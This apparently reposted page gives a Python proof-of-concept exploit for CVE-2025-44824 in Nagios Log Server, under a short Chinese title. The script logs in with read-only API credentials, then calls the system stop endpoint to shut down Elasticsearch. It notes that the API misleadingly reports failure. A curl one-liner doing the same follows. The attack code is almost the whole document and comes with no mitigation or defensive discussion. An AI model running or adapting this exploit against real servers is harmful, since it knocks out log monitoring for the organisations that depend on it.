CVE-2025-44824：Nagios Log Server 认证用户拒绝服务漏洞

# CVE-2025-44824 - Nagios Log Server Elasticsearch DoS PoC # Author: skraft9 # Repository: https://github.com/skraft9/nagios-log-server-dos # Description: Authenticated users with read-only API access can stop Elasticsearch service import requests import sys # Target configuration TARGET_URL = "https://target-nagios-log-server.example.com" USERNAME = "readonly_user" # Read-only API credentials PASSWORD = "readonly_password" def exploit_stop_elasticsearch(target_url, username, password): """ Exploit CVE-2025-44824 by calling the system stop API endpoint to terminate the Elasticsearch subsystem. """ # Step 1: Authenticate and obtain session cookie login_url = f"{target_url}/nagioslogserver/index.php/login" session = requests.Session() login_data = { "username": username, "password": password, "login": "Login" } print(f"[*] Authenticating as {username}...") resp = session.post(login_url, data=login_data, verify=False) if not resp.ok: print(f"[-] Authentication failed: {resp.status_code}") return False # Step 2: Call the vulnerable API endpoint to stop Elasticsearch stop_url = f"{target_url}/nagioslogserver/index.php/api/system/stop" stop_params = { "subsystem": "elasticsearch" } print(f"[*] Sending stop request to Elasticsearch subsystem...") resp = session.get(stop_url, params=stop_params, verify=False) print(f"[*] Response Status: {resp.status_code}") print(f"[*] Response Body: {resp.text}") # Note: Despite the API returning "Could not stop elasticsearch", # the service is actually stopped (misleading response) if "Could not stop elasticsearch" in resp.text: print("[!] API reports failure, but Elasticsearch may have been stopped!") print("[!] This is the deceptive behavior of CVE-2025-44824") return True if __name__ == "__main__": if len(sys.argv) >= 4: TARGET_URL = sys.argv[1] USERNAME = sys.argv[2] PASSWORD = sys.argv[3] requests.packages.urllib3.disable_warnings() exploit_stop_elasticsearch(TARGET_URL, USERNAME, PASSWORD) # Simple curl-based PoC: # curl -X GET "https://target/nagioslogserver/index.php/api/system/stop?subsystem=elasticsearch" \ # -b "nagios_session=YOUR_SESSION_COOKIE"